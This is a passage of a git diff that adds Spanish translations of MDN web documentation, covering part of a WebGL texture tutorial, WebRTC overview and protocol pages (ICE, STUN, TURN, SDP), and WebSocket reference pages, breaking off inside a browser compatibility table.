+<p>Primero, echemos un vistazo a un cambio muy sencillo que se necesita en initShaders():</p>
+
+<pre class="brush: js">textureCoordAttribute = gl.getAttribLocation(shaderProgram, 'aTextureCoord');
+gl.enableVertexAttribArray(textureCoordAttribute);
+gl.vertexAttribPointer(texCoordAttribute, 2, gl.FLOAT, false, 0, 0);
+</pre>
+
+<p>Esto reemplaza el código que setea el atributo "vertex color" (color del vertice) con uno que contiene la coordenada de textura para cada vértice.</p>
+
+<h3 id="El_vertex_shader">El vertex shader</h3>
+
+<p>A continuación, necesitamos reemplazar el "vertex shader" de modo que en lugar de buscar datos de color, busque los datos de coordenadas de textura.</p>
+
+<pre class="brush: html">&lt;script id="shader-vs" type="x-shader/x-vertex"&gt;
+  attribute vec3 aVertexPosition;
+  attribute vec2 aTextureCoord;
+
+  uniform mat4 uMVMatrix;
+  uniform mat4 uPMatrix;
+
+  varying highp vec2 vTextureCoord;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+    vTextureCoord = aTextureCoord;
+  }
+&lt;/script&gt;
+</pre>
+
+<p>El cambio clave aquí es que en lugar de buscar el color del vértice (vertex color), estamos estableciendo las coordenadas de textura; Esto indicará la ubicación dentro de la textura correspondiente al vértice.</p>
+
+<h3 id="El_fragment_shader">El fragment shader</h3>
+
+<p>El fragment shader también debe actualizarse:</p>
+
+<pre class="brush: html">&lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+  varying highp vec2 vTextureCoord;
+
+  uniform sampler2D uSampler;
+
+  void main(void) {
+    gl_FragColor = texture2D(uSampler, vec2(vTextureCoord.s, vTextureCoord.t));
+  }
+&lt;/script&gt;
+</pre>
+
+<p>En lugar de asignar un valor de color al fragment color, el fragment color se calcula recolectando el texel (es decir, el píxel dentro de la textura) que el muestreador dice que se corresponde mejor con la posición del fragment.</p>
+
+<h2 id="Dibujando_el_cubo_texturado">Dibujando el cubo texturado</h2>
+
+<p>El cambio a la función drawScene() es simple (excepto que por razones de claridad, he eliminado el código que hace que el cubo se traslade a través del espacio mientras se anima, en vez de eso, solo gira).</p>
+
+<p>El código para mapear colores a la textura se ha ido, sustituido por esto:</p>
+
+<pre class="brush: js">gl.activeTexture(gl.TEXTURE0);
+gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+gl.uniform1i(gl.getUniformLocation(shaderProgram, 'uSampler'), 0);
+</pre>
+
+<p>GL proporciona 32 registros de textura; La primera de ellas es gl.TEXTURE0. Vincularemos nuestra textura previamente cargada a ese registro, a continuación, establecremos el shader sampler uSampler (especificado en el shader) para utilizar esa textura.</p>
+
+<p>En este punto, el cubo giratorio debe estar listo.</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample6/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample6">Ver el código completo</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample6/">Abrir esta demo en una nueva pestaña</a></p>
+
+<h2 id="Texturas_entre_dominios">Texturas entre dominios</h2>
+
+<p>La carga de texturas WebGL esta sujeta a controles de acceso entre dominios. Para que su contenido cargue una textura de otro dominio, La aprobacion CORS debe ser obtenida. Ver <a href="/en-US/docs/Web/HTTP/Access_control_CORS">control de acceso HTTP</a> para mas detalles sobre CORS.</p>
+
+<p>Ver este articulo <a class="external" href="http://hacks.mozilla.org/2011/11/using-cors-to-load-webgl-textures-from-cross-domain-images/">hacks.mozilla.org</a> para una explicacion de como usar imágenes CORS-approved como texturas WebGL , con un <a class="external" href="http://people.mozilla.org/~bjacob/webgltexture-cors-js.html">ejemplo auto-contenido</a>.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>El soporte CORS para texturas WebGL y el atributo crossOrigin para elementos de imagen se implementan en {{Gecko ("8.0")}}.</p>
+</div>
+
+<p>Canvas 2D contaminados (Solo lectura) no pueden ser utilizados como texturas WebGL. una 2D {{ HTMLElement("canvas") }} se convierte en contaminada, por ejemplo, cuando una imagen de dominio cruzado (cross-domain) es dibujada en el.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>El soporte de CORS para Canvas 2D drawImage se implementa en {{Gecko ("9.0")}}. Esto significa que el uso de una imagen de dominio cruzado con aprobación de CORS ya no pinta el lienzo 2D, por lo que el lienzo 2D sigue siendo utilizable como fuente de una textura WebGL. </p>
+</div>
+
+<div class="note">
+<p><strong>Nota:</strong> El soporte de CORS para videos de dominio cruzado y el atributo de crossorigin para elementos {{HTMLElement("video")}} se implementa en {{Gecko ("12.0")}}.</p>
+</div>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
diff --git a/files/es/web/api/webrtc_api/index.html b/files/es/web/api/webrtc_api/index.html
new file mode 100644
index 0000000000..d4de66d803
--- /dev/null
+++ b/files/es/web/api/webrtc_api/index.html
@@ -0,0 +1,126 @@
+---
+title: API de WebRTC
+slug: Web/API/WebRTC_API
+tags:
+  - API
+  - WebRTC
+translation_of: Web/API/WebRTC_API
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p><span class="seoSummary"><strong>WebRTC</strong> (<em>Web real-time communications</em> o comunicaciones web en tiempo real) es una tecnología que permite a aplicaciones y sitios web capturar y opcionalmente retransmitir audio/vídeo, así como intercambiar datos arbitrarios entre navegadores sin necesidad de un intermediario.</span> El conjunto de estándares que comprende WebRTC hace posible compartir datos y realizar teleconferencias de igual-a-igual (<em>peer-to-peer</em>), sin requerir que el usuario instale complementos (<em>plug-ins</em>) o cualquier otro software de terceros.</p>
+
+<p>WebRTC consta de varias API y protocolos interrelacionados que trabajan juntos para lograr esto. La documentación que encontrará aquí le ayudará a entender los fundamentos de WebRTC, cómo configurarlo y usar tanto datos como conexiones de medios, etc.</p>
+
+<h2 id="Referencia">Referencia</h2>
+
+<div class="index">
+<ul>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+ <li>{{domxref("RTCSessionDescription")}}</li>
+ <li>{{domxref("RTCIceCandidate")}}</li>
+ <li>{{domxref("RTCPeerConnectionIceEvent")}}</li>
+ <li>{{domxref("MessageEvent")}}</li>
+ <li>{{domxref("MediaStream")}}</li>
+ <li>{{domxref("RTCStatsReport")}}</li>
+ <li>{{domxref("RTCIdentityEvent")}}</li>
+ <li>{{domxref("RTCIdentityErrorEvent")}}</li>
+ <li>{{domxref("MediaStreamEvent")}}</li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+ <li>{{domxref("MediaDevices")}}</li>
+</ul>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Architecture">Visión general de la arquitectura de WebRTC</a></dt>
+ <dd>Debajo de las API que los desarrolladores usan para crear y usar conexiones WebRTC se encuentran varios protocolos de red y estándares de conectividad. Esta breve descripción cubre estos estándares.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/WebRTC_basics">Lo esencial de WebRTC</a></dt>
+ <dd>Este artículo le muestra la creación de una aplicación RTC a través del navegador. Al final, debe tener un canal de datos punto a punto y un canal de medios en funcionamiento.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Protocols">Protocolos de WebRTC</a></dt>
+ <dd>Este artículo presenta los protocolos sobre los cuales se construye la API WebRTC.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Connectivity">Conectividad de WebRTC</a></dt>
+ <dd>Este artículo describe cómo los diversos protocolos relacionados con WebRTC interactúan entre sí para crear una conexión y transferir datos y / o medios entre pares.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Overview">Nociones sobre la API WebRTC</a></dt>
+ <dd>WebRTC consta de varias API y protocolos interrelacionados que trabajan juntos para admitir el intercambio de datos y medios entre dos o más pares. Este artículo proporciona una breve descripción de cada una de estas API y para qué sirve.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Duración de una sesión de WebRTC</a></dt>
+ <dd>WebRTC le permite construir una comunicación punto a punto de datos arbitrarios, audio o video, o cualquier combinación de los mismos, en una aplicación de navegador. En este artículo, veremos la duración de una sesión de WebRTC, desde establecer la conexión hasta cerrarla cuando ya no sea necesaria.</dd>
+</dl>
+
+<h2 id="Tutoriales">Tutoriales</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/adapter.js">Improving compatibility using WebRTC adapter.js</a></dt>
+ <dd>The WebRTC organization <a href="https://github.com/webrtc/adapter/">provides on GitHub the WebRTC adapter</a> to work around compatibility issues in different browsers' WebRTC implementations. The adapter is a JavaScript shim which lets your code to be written to the specification so that it will "just work" in all browsers with WebRTC support.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Taking_still_photos">Taking still photos with WebRTC</a></dt>
+ <dd>This article shows how to use WebRTC to access the camera on a computer or mobile phone with WebRTC support and take a photo with it.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a></dt>
+ <dd>The {{domxref("RTCDataChannel")}} interface is a feature which lets you open a channel between two peers over which you may send and receive arbitrary data. The API is intentionally similar to the <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSocket_API">WebSocket API</a>, so that the same programming model can be used for each.</dd>
+</dl>
+
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Recursos</h2>
+
+<h3 id="Protocolos">Protocolos</h3>
+
+<h4 id="WebRTC-proper_protocols">WebRTC-proper protocols</h4>
+
+<ul>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-alpn/"><cite>Application Layer Protocol Negotiation for Web Real-Time Communications</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-audio/"><cite>WebRTC Audio Codec and Processing Requirements</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-data-channel/"><cite>RTCWeb Data Channels</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-data-protocol/"><cite>RTCWeb Data Channel Protocol</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-rtp-usage/"><cite>Web Real-Time Communication (WebRTC): Media Transport and Use of RTP</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-security-arch/"><cite>WebRTC Security Architecture</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-transports/"><cite>Transports for RTCWEB</cite></a></li>
+</ul>
+
+<h4 id="Related_supporting_protocols">Related supporting protocols</h4>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc5245">Interactive Connectivity Establishment (ICE): A Protocol for Network Address Translator (NAT) Traversal for Offer/Answer Protocol</a></li>
+ <li><a href="https://tools.ietf.org/html/rfc5389"><cite>Session Traversal Utilities for NAT (STUN)</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7064"><cite>URI Scheme for the Session Traversal Utilities for NAT (STUN) Protocol</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7065"><cite>Traversal Using Relays around NAT (TURN) Uniform Resource Identifiers</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc3264"><cite>An Offer/Answer Model with Session Description Protocol (SDP)</cite></a></li>
+ <li><a href="https://datatracker.ietf.org/doc/draft-ietf-tram-turn-third-party-authz/"><cite>Session Traversal Utilities for NAT (STUN) Extension for Third Party Authorization</cite></a></li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>The initial definition of the API of WebRTC.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>The initial definition of the object conveying the stream of media content.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td>The initial definition on how to obtain stream of content from DOM Elements</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="Related_Topics">In additions to these specifications defining the API needed to use WebRTC, there are several protocols, listed under <a href="#Protocols">resources</a>.</p>
+
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Ver también</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2015/06/firefox-multistream-and-renegotiation-for-jitsi-videobridge/">Firefox multistream and renegotiation for Jitsi Videobridge</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/04/peering-through-the-webrtc-fog-with-socketpeer/">Peering Through the WebRTC Fog with SocketPeer</a></li>
+ <li><a href="https://hacks.mozilla.org/2014/04/inside-the-party-bus-building-a-web-app-with-multiple-live-video-streams-interactive-graphics/">Inside the Party Bus: Building a Web App with Multiple Live Video Streams + Interactive Graphics</a></li>
+</ul>
diff --git a/files/es/web/api/webrtc_api/protocols/index.html b/files/es/web/api/webrtc_api/protocols/index.html
new file mode 100644
index 0000000000..efa90077fa
--- /dev/null
+++ b/files/es/web/api/webrtc_api/protocols/index.html
@@ -0,0 +1,38 @@
+---
+title: WebRTC protocols
+slug: Web/API/WebRTC_API/Protocols
+translation_of: Web/API/WebRTC_API/Protocols
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p>Este artículo presenta los protocolos sobre los cuales se construye la API WebRTC.</p>
+
+<h2 id="ICE">ICE</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/Interactive_Connectivity_Establishment">Interactive Connectivity Establishment (ICE)</a> es un marco para permitir que su navegador web se conecte con sus compañeros. Hay muchas razones por las que una conexión directa de un par a otro simplemente no funcionará. Debe evitar los firewalls que evitarían abrir conexiones, darle una dirección única si, como en la mayoría de las situaciones, su dispositivo no tiene una dirección IP pública y transmitir datos a través de un servidor si su enrutador no le permite conectarse directamente con sus pares. ICE utiliza algunas de las siguientes técnicas que se describen a continuación para lograr esto:</p>
+
+<h2 id="STUN">STUN</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/STUN">Session Traversal Utilities for <u>NAT</u> (STU<u>N</u>)</a> (acrónimo dentro de un acrónimo) es un protocolo para descubrir su dirección pública y determinar cualquier restricción en su enrutador que impida una conexión directa con un par.</p>
+
+<p>El cliente enviará una solicitud a un servidor STUN en Internet que responderá con la dirección pública del cliente y si el cliente está accesible detrás del NAT del enrutador.</p>
+
+<p><img alt="An interaction between two users of a WebRTC application involving a STUN server." src="https://mdn.mozillademos.org/files/6115/webrtc-stun.png" style="display: block; height: 378px; margin: 0px auto; width: 259px;"></p>
+
+<h2 id="NAT">NAT</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/NAT">Network Address Translation (NAT)</a> se usa para dar a su dispositivo una dirección IP pública. Un enrutador tendrá una dirección IP pública y cada dispositivo conectado al enrutador tendrá una dirección IP privada. Las solicitudes se traducirán de la IP privada del dispositivo a la IP pública del enrutador con un puerto único. De esa manera, no necesita una IP pública única para cada dispositivo, pero aún puede descubrirse en Internet.</p>
+
+<p>Algunos enrutadores tendrán restricciones sobre quién puede conectarse a dispositivos en la red. Esto puede significar que aunque tengamos la dirección IP pública encontrada por el servidor STUN, nadie puede crear una conexión. En esta situación, debemos recurrir a TURN.</p>
+
+<h2 id="TURN">TURN</h2>
+
+<p>Algunos enrutadores que utilizan NAT emplean una restricción llamada "NAT simétrica". Esto significa que el enrutador solo aceptará conexiones de pares a los que se haya conectado previamente.</p>
+
+<p><a href="http://en.wikipedia.org/wiki/TURN">Traversal Using Relays around NAT (TURN)</a> está destinado a eludir la restricción NAT simétrica al abrir una conexión con un servidor TURN y transmitir toda la información a través de ese servidor. Crearía una conexión con un servidor TURN y le diría a todos los pares que envíen paquetes al servidor que luego se le reenviarán. Obviamente, esto conlleva algunos gastos generales, por lo que solo se usa si no hay otras alternativas.</p>
+
+<p><img alt="An interaction between two users of a WebRTC application involving STUN and TURN servers." src="https://mdn.mozillademos.org/files/6117/webrtc-turn.png" style="display: block; height: 297px; margin: 0px auto; width: 295px;"></p>
+
+<h2 id="SDP">SDP</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/Session_Description_Protocol">Session Description Protocol (SDP)</a> es un estándar para describir el contenido multimedia de la conexión, como la resolución, los formatos, los códecs, el cifrado, etc., de modo que ambos pares puedan entenderse una vez que se transfieren los datos. Esto es, en esencia, los metadatos que describen el contenido y no el contenido de los medios en sí.</p>
diff --git a/files/es/web/api/websocket/close_event/index.html b/files/es/web/api/websocket/close_event/index.html
new file mode 100644
index 0000000000..da70792cdc
--- /dev/null
+++ b/files/es/web/api/websocket/close_event/index.html
@@ -0,0 +1,72 @@
+---
+title: close
+slug: Web/API/WebSocket/close_event
+translation_of: Web/API/WebSocket/close_event
+---
+<p>El manejador <code>close</code> es ejecutado cuando una conexión con un websocket es cerrada.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/websockets/">WebSocket</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;"><a href="/en-US/docs/WebSockets/WebSockets_reference/WebSocket" title="/en-US/docs/WebSockets/WebSockets_reference/WebSocket">WebSocket</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>El objetivo del evento (el objetivo superior en el árbol DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>El tipo de evento.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Si el evento normalmente burbujea o no.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Si el evento es cancelable o no.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("open")}}</li>
+ <li>{{event("close")}}</li>
+ <li>{{event("error")}}</li>
+ <li>{{event("message")}}</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebSockets/Writing_WebSocket_client_applications">Writing WebSocket client applications</a></li>
+</ul>
diff --git a/files/es/web/api/websocket/index.html b/files/es/web/api/websocket/index.html
new file mode 100644
index 0000000000..b281258e99
--- /dev/null
+++ b/files/es/web/api/websocket/index.html
@@ -0,0 +1,356 @@
+---
+title: WebSocket
+slug: Web/API/WebSocket
+translation_of: Web/API/WebSocket
+---
+<div>{{APIRef("Web Sockets API")}}{{SeeCompatTable}}</div>
+
+<div> </div>
+
+<div>El objeto WebSocket provee la API para la creación y administración de una conexión <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket </a>a un servidor, así como también para enviar y recibir datos en la conexión.</div>
+
+<div> </div>
+
+<div>El constructor de WebSocket acepta un parámetro requerido y otro opcional.</div>
+
+<p> </p>
+
+<pre class="syntaxbox">WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString protocols
+);
+
+WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString[] protocols
+);
+</pre>
+
+<p> </p>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd><code>La URL a la cual se conecta, debe ser la URL con la cual el servidor WebSocket debe responder.</code></dd>
+ <dt><code>protocols</code> {{optional_inline}}</dt>
+ <dd>Permite cualquier caso, desde un simple protocolo o un arreglo de cadenas de texto. Estas cadenas de texto son usadas para indicar subprotocolos, en los cuales un único servidor puede implementar múltiples subprotocolos para el WebSocket (por ejemplo, tu podrías esperar que un servido gestione diferentes tipos de interacciones dependiendo de un tipo específico de protocolo). Si no especificas un subprotocolo, se asume una cadena de texto vacía.</dd>
+ <dd> </dd>
+</dl>
+
+<p>El constructor puede levantar excepciones:</p>
+
+<dl>
+ <dt><code>SECURITY_ERR</code></dt>
+ <dd>El puerto en el cual la conexión se realiza se encuentra bloqueado.</dd>
+</dl>
+
+<h2 id="Revisión_de_Métodos">Revisión de Métodos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#close()">close</a>(in optional unsigned long code, in optional DOMString reason);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#send()">send</a>(in DOMString data);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descricción</td>
+  </tr>
+  <tr>
+   <td><code>binaryType</code></td>
+   <td>{{DOMXref("DOMString")}}</td>
+   <td>
+    <p>Una cadena de texto indicando el tipo de dato binario que es transmitido por la conexión. Debe ser de cualquier manera "blob" si es se unas objetos DOM {{domxref("Blob")}}  o bien "arraybuffer" {{jsxref("ArrayBuffer")}} si se usan otro tipo de objetos</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>bufferedAmount</code></td>
+   <td><code>unsigned long</code></td>
+   <td>
+    <p>La cantidad de bytes de data que pueden ser almacenadas en cola utilizando llamadas a {{manch("send")}} pero que aún no se han transmitido a la red. Este valor se reestablece a cero una vez que toda la información ha sido enviada. Este valor no vuelve a cero cuando la conexión es cerrada; si mantientes llamando {{manch("send")}}, continuará acumulandose. <strong>Solo de lectura.</strong></p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>extensions</code></td>
+   <td>{{DOMXref("DOMString")}}</td>
+   <td>
+    <p>Las extensiones seleccionadas por el servidor. Esto solamente puede ser un string vacío o bien una lista de extensiones que es negociada por la conexión.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>onclose</code></td>
+   <td>{{domxref("EventListener")}}</td>
+   <td>
+    <p>Un monitor de eventos que atiende una llamada cuando la conexión del WebSocket cambia a un estado CERRADO (CLOSED). El monitor recibe un <a href="/en-US/docs/Web/API/CloseEvent"><code>CloseEvent</code></a> llamado "cerrado".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>onerror</code></td>
+   <td>{{domxref("EventListener")}}</td>
+   <td>
+    <p>Un monitor de eventos que es llamado cuando un error ocurre. Esto es un evento simple llamado "error"</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>onmessage</code></td>
+   <td>{{domxref("EventListener")}}</td>
+   <td>
+    <p>Un monitor de eventos que es llamado cuando un mensaje es recibido desde un servidor. El monitor recibe un objeto <a href="/en-US/docs/Web/API/MessageEvent"><code>MessageEvent </code></a>llamado "mensaje".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>onopen</code></td>
+   <td>{{domxref("EventListener")}}</td>
+   <td>Un monitor de eventos que es llamado cuando el estado <code>readyState </code>de la conexión<code> Websocket </code>cambia a <code>OPEN. </code>Esto indica que la conexión está lista para enviar y recibir datos. El evento es uno simple con el nombre "open".</td>
+  </tr>
+  <tr>
+   <td><code>protocol</code></td>
+   <td>{{DOMXref("DOMString")}}</td>
+   <td>Una cadena indicando el nombre del sub-protocolo que el servidor ha seleccionado. Este puede ser una de las cadenas especificadas en el parámetro <code>protocols</code> cuando se ha creado el objeto Websocket.</td>
+  </tr>
+  <tr>
+   <td><code>readyState</code></td>
+   <td><code>unsigned short</code></td>
+   <td>El estado actual de la conexión. Este es uno de {{anch("Ready state constants")}}. <strong>Solo lectura.</strong></td>
+  </tr>
+  <tr>
+   <td><code>url</code></td>
+   <td>{{DOMXref("DOMString")}}</td>
+   <td>La URL como la resuelve el constructor. Esto siempre es una URL absoluta. <strong>Solo lectura.</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constantes">Constantes</h2>
+
+<h3 id="Ready_state_constants">Ready state constants</h3>
+
+<p>Estas constantes son usadas por el atributo <code>readyState</code> para describir el estado de la conexión <code>WebSocket</code>.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Constante</td>
+   <td class="header">Valor</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>CONNECTING</code></td>
+   <td><code>0</code></td>
+   <td>La conexión no está aún abierta.</td>
+  </tr>
+  <tr>
+   <td><code>OPEN</code></td>
+   <td><code>1</code></td>
+   <td>La conexión está abierta y lista para comunicar.</td>
+  </tr>
+  <tr>
+   <td><code>CLOSING</code></td>
+   <td><code>2</code></td>
+   <td>La conexión está siendo cerrada.</td>
+  </tr>
+  <tr>
+   <td><code>CLOSED</code></td>
+   <td><code>3</code></td>
+   <td>La conexión está cerrada o no puede ser abierta.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Métodos">Métodos</h2>
+
+<h3 id="close()">close()</h3>
+
+<p>Cierra la conexión o intento de conexión del WebSocket si lo hay. Si la conexión ya está cerrada, no hace nada.</p>
+
+<pre class="syntaxbox">void close(
+  in optional unsigned short code,
+  in optional DOMString reason
+);
+</pre>
+
+<h4 id="Parámetros">Parámetros</h4>
+
+<dl>
+ <dt><code>code</code> {{optional_inline}}</dt>
+ <dd>Un valor numérico indicando el código de estado que explica porqué la conexión está siendo cerrada. Si no se especifica este parámetro, se asume un valor por defecto de 1000 (que indica un cierre normal por "transacción completa") . Ver <a href="/en-US/docs/Web/API/CloseEvent#Status_codes">códigos de estado</a> en la página de <a href="/en-US/docs/Web/API/CloseEvent">CloseEvent</a> para la lista de valores permitidos.</dd>
+ <dt><code>reason</code> {{optional_inline}}</dt>
+ <dd>Una cadena legible explicando porqué la conexión está siendo cerrada. Esta cadena no puede ser mayor que 123 bytes de texto UTF-8 (<strong>no</strong> caracteres)</dd>
+</dl>
+
+<h4 id="Exceptions_thrown">Exceptions thrown</h4>
+
+<dl>
+ <dt><code>INVALID_ACCESS_ERR</code></dt>
+ <dd>Se ha especificado un código erróneo.</dd>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>La <code>reason</code> cadena es demasiado larga o continene caracteres no validos.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> En Gecko, este métido no soporta ningun parámetro antes de Gecko 8.0 {{geckoRelease("8.0")}}.</p>
+</div>
+
+<h3 id="send()">send()</h3>
+
+<p>Transmite datos al servidor sobre la conexión WebSocket.</p>
+
+<pre class="syntaxbox">void send(
+  in DOMString data
+);
+
+void send(
+  in ArrayBuffer data
+);
+
+void send(
+  in Blob data
+);
+</pre>
+
+<h4 id="Parametros">Parametros</h4>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>Una cadena de texto que enviar al servidor.</dd>
+</dl>
+
+<h4 id="Excepciones">Excepciones</h4>
+
+<dl>
+ <dt><code>INVALID_STATE_ERR</code></dt>
+ <dd>La conexión no está abierta en este momento.</dd>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>La data tiene caracteres no válidos que no se pueden decodificar.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note: </strong>La implementación del método <code>send() </code>en el  motor de renderizado Gecko puede cambiar de la especificación en {{Gecko("6.0")}}; Gecko devuelve un <code>boolean </code>indicando si la conexión esta todavía abierta (y, por extensión, que los datos son encolados o trasmitidos satisfactoriamente). Esto ha sido corregido en {{Gecko("8.0")}}.</p>
+
+<p>A partir de {{Gecko("11.0")}}, implementa {{jsxref("ArrayBuffer")}} pero no tipos de datos {{domxref("Blob")}}.</p>
+</div>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">// Crea una nueva conexión.
+const socket = new WebSocket('ws://localhost:8080');
+
+// Abre la conexión
+socket.addEventListener('open', function (event) {
+    socket.send('Hello Server!');
+});
+
+// Escucha por mensajes
+socket.addEventListener('message', function (event) {
+    console.log('Message from server', event.data);
+});</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Websockets", "#the-websocket-interface", "WebSocket")}}</td>
+   <td>{{Spec2("Websockets")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
